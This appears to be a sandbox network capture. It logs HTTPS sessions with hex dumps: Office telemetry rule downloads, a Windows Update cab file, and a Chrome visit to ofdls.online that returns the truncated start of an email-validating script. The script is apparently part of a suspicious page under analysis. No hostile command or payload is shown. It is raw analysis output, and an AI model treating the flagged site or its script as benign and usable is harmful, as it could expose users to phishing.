2024-12-03 14:32:17 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:18 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: f483c550-b01e-0098-3fc5-43cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143218Z-174f7845968j6t2phC1EWRcfe8000000165000000000g391 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:18 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.9	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:18 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 264c510b-001e-000b-0eb2-4215a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143218Z-174f7845968glpgnhC1EWR7uec0000001690000000005qx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.9	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:18 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: e044a7be-f01e-003c-0c76-438cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143218Z-174f784596886s2bhC1EWR743w000000166g000000001fhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.9	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:18 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 5181e575-b01e-001e-206f-430214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143218Z-174f7845968glpgnhC1EWR7uec00000016a0000000001kr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49744	101.99.88.67	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:19 UTC	677	OUT	GET / HTTP/1.1 Host: ofdls.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://oyatsu-jikan.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 14:32:20 UTC	159	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:19 GMT Server: Apache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-03 14:32:20 UTC	1084	IN	Data Raw: 34 33 30 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 66 75 6e 63 74 69 6f 6e 20 76 61 6c 69 64 61 74 65 45 6d 61 69 6c 28 72 65 66 65 72 72 65 72 29 20 7b 0a 76 61 72 20 72 65 20 3d 20 2f 5e 28 28 5b 5e 3c 3e 28 29 5b 5c 5d 5c 2e 2c 3b 3a 5c 73 40 5c 22 5d 2b 28 5c 2e 5b 5e 3c 3e 28 29 5b 5c 5d 5c 2e 2c 3b 3a 5c 73 40 5c 22 5d 2b 29 2a 29 7c 28 5c 22 2e 2b 5c 22 29 29 40 28 28 5c 5b 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 5d 29 7c 28 28 5b 61 2d 7a 41 2d 5a 5c 2d 30 2d 39 5d 2b 5c 2e 29 2b 5b 61 2d 7a 41 2d 5a 5d 7b 32 2c 7d 29 29 24 2f 3b 0a 72 65 74 75 72 6e 20 72 65 2e 74 65 73 74 28 72 65 66 Data Ascii: 430<script type="text/javascript" >function validateEmail(referrer) {var re = /^(([^<>()[\]\.,;:\s@\"]+(\.[^<>()[\]\.,;:\s@\"]+)*)\|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;return re.test(ref

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.9	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:20 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:20 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143220Z-174f7845968zgtf6hC1EWRqd8s0000000ywg00000000n4zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:20 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.9	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:20 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143220Z-174f7845968zgtf6hC1EWRqd8s0000000z0000000000dg2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.9	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:20 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2132beec-901e-00ac-46aa-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143220Z-174f78459685m244hC1EWRgp2c00000015t000000000m67t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.9	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:20 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:20 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: bb3cf0ad-001e-00ad-14f9-44554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143220Z-174f7845968cs2nkhC1EWR2tq000000001pg00000000gx3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:20 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.9	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:20 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: e7678828-401e-0078-7a85-434d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143220Z-174f78459688l8rvhC1EWRtzr00000000krg0000000045cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49751	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Phu5d4P1SEUzPmK&MD=N9HubRSB HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-03 14:32:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: dec741e3-4e22-47a6-8ac1-ecbb4cc41368 MS-RequestId: 9a33021d-f040-4f6e-9887-0d9a0dfc4ae3 MS-CV: r1ltFV4QzkWzFEW7.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 03 Dec 2024 14:32:21 GMT Connection: close Content-Length: 24490
2024-12-03 14:32:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-03 14:32:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.9	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:22 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
